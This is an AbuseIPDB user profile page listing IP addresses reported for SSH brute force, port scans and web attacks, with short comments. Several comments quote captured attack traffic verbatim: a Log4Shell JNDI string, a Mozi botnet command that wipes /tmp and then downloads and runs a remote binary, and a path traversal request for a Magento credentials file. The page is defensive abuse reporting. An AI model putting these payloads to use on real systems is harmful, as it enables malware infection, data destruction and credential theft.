User nemideia joined AbuseIPDB in July 2023 and has reported 39 IP addresses.
Standing (weight) is good.
INACTIVE USER
| IP | Date | Comment | Categories |
|---|---|---|---|
| 🇨🇳 45.114.124.127 |
Multiple SSH Login Attempts
|
Brute-Force SSH | |
| 🇧🇷 138.94.236.207 |
Tried to upload malicious payload via 443.
|
Web App Attack | |
| 🇧🇷 187.103.165.26 |
Tried to upload malicious payload via 443.
|
Web App Attack | |
| 🇧🇷 187.103.171.251 |
Tried to upload malicious payload via 443.
|
Web App Attack | |
| 🇧🇷 186.195.60.1 |
Tried to upload malicious payload via 443.
|
Web App Attack | |
| 🇧🇷 186.195.63.55 |
Tried to upload malicious payload via 443.
|
Web Spam | |
| 🇧🇷 187.103.167.57 |
Tried to upload malicious payload via 443.
|
Web App Attack | |
| 🇧🇷 187.103.171.59 |
Tried to upload malicious payload via 443.
|
Web App Attack | |
| 🇧🇷 187.103.173.88 |
Tried to upload malicious payload via 443.
|
Web App Attack | |
| 🇩🇪 3.74.163.9 |
Tried to upload malicious payload via 443.
|
Web App Attack | |
| 🇧🇷 189.201.249.112 |
PortScan, more than 60000 connections received in 24 hours.
|
Port Scan | |
| 🇧🇷 45.141.214.13 |
port scan, 4000 requests in few minutes
|
Port Scan | |
| 🇧🇷 166.0.189.6 |
port scan, 500 requests in few seconds
|
Port Scan | |
| 🇷🇺 194.26.135.243 |
"GET /?x=${jndi:ldap://127.0.0.1 HTTP/1.1"
CVE-2021-44228 exploitation
|
SQL Injection SQL Injection Web App Attack Web App Attack | |
| 🇷🇺 188.130.137.226 |
Malicious Payload
|
Hacking Web App Attack | |
| 🇮🇸 89.147.110.200 |
|
SQL Injection Web App Attack | |
| 🇺🇸 104.156.140.47 |
x=${jndi:ldap://127.0.0.1
|
Web App Attack | |
| 🇺🇸 104.152.52.227 |
Multiple ports connection attempts.
|
Port Scan | |
| 🇫🇷 80.75.212.226 |
|
Web App Attack | |
| 🇨🇳 39.81.137.240 |
80/shell?cd /tmp;rm -rf *;wget http://39.81.137.240:52731/Mozi.a;chmod 777 Mozi.a;/tmp/Mozi.a jaws
|
Web App Attack | |
| 🇺🇸 172.81.132.208 |
GET /magmi-importer/web/download_file.php?file\=../../app/etc/local.xml on port 80
|
Web App Attack | |
| 🇨🇦 174.142.205.29 |
Multiple unsolicited connections on 5060/UDP.
|
Port Scan Web App Attack | |
| 🇺🇿 185.100.53.5 |
Directory Transversal on port 80
|
Web App Attack | |
| 🇨🇭 179.43.190.218 |
Command injection on port 80: CVE-2021-43936, CVE-2022-1813, CVE-2022-24086, CVE-2022-24193
|
Web App Attack | |
| 🇳🇱 193.32.162.99 |
Unsolicited connection on port 80: .git/config
|
Port Scan Web App Attack |